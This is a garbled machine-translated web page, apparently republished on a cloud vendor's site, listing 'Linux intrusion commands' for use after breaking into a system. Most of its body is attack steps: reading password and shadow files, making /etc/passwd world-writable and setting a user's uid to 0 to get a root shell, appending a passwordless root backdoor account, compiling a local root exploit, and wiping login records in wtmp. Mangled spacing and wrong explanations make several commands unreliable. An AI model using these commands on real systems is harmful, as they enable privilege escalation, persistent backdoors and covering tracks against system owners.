Common Linux intrusion commands

Source: Internet
Author: User

I would like to share with you someLinux intrusion command, Hope to be useful to everyone, but please use the Linux intrusion command effectively, do not do illegal things.

Linux intrusion command:

Cat/etc/passwd view linux Users

Root permission is required for cat/etc/shadow to view user passwords

Cat/etc/sysconfig/network-scripts/ifcfg-ethn N indicates the network card number to view the ip address of the network card.

Ifconfig

Cat/etc/resolv. conf view DNS information

Bash-I can intuitively display commands in the reverse shell.

Bash prompt: When you enter as a normal restricted user, you usually have a prompt similar to bash $. When you log in as Root, your prompt will become

Bash #.

System variable: Try echo "$ USER/$ EUID" and the system will tell you what USER it thinks you are.

Echo 1>/proc/sys/net/ipv4/if_forward is wrong, it should be echo 1>/proc/sys/net/ipv4/ip_forward,

Vim/proc/sys/net/ipv4/ip_forward. The default value is 0. That is, the kernel does not filter data packets and changes it to 1 to let the kernel filter data packets!

Netstat-an | grep LISTEN | grep: 80 view port

Service -- status-all | grep running

Service -- status-all | grep http

View running services

Lsb_release-a view the system version

Restart the ssh service:/usr/sbin/sshd stop

/Usr/sbin/sshd start

In the ssd_config File

PasswordAuthentication no,

Change it

PasswordAuthentication yes

Remote ssh Login

Otherwise, Access denied is displayed.

Usepam yes may be used to establish the pam login method, for example, from other linux Hosts ssh to the server. If it is disabled, it cannot be enabled.

Su's cainiao usage

Chomod 777/etc/passwd first

Then, modify the gid and uid of the bin user to 0.

Then passwd sets the bin password.

Then cp/bin/bash/sbin/nologin

Then, the su-bin can be used to access the rootshell.

This principle is that when ssh does not allow the root user to log on to the ssh terminal, we do not know the root password.

You can also

Sed-I s/bin: x: 1: 1/bin: x: 0: 1/g/etc/passwd

Gcc prtcl2.c-o local-static-Wall

Echo "nosec: x: 0: 0: //:/bin/sh">/etc/passwd

Echo "nosec:-1:-1:-1:-1:-1:-1:-">/etc/shadow

Clear the last record cp/dev/null/var/log/wtmp

-----

Dd if =/dev/zero of = yourfile bs = 10 M count = 10 create a large M file using Linux Kernel <= 2.6.17.4 (proc) local Root Exploit

Linux intrusionThe command has been introduced. Please try again.

  1. The Ubuntu IT industry is still vulnerable to piracy
  2. Ubuntu openSUSE features and package Building Services
  3. How to boot the Ubuntu file from the hard disk to DOS
  4. Are you ready to enter Enterprise Server Ubuntu?
  5. The core image file of the Ubuntu installation system points to the downloaded file.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.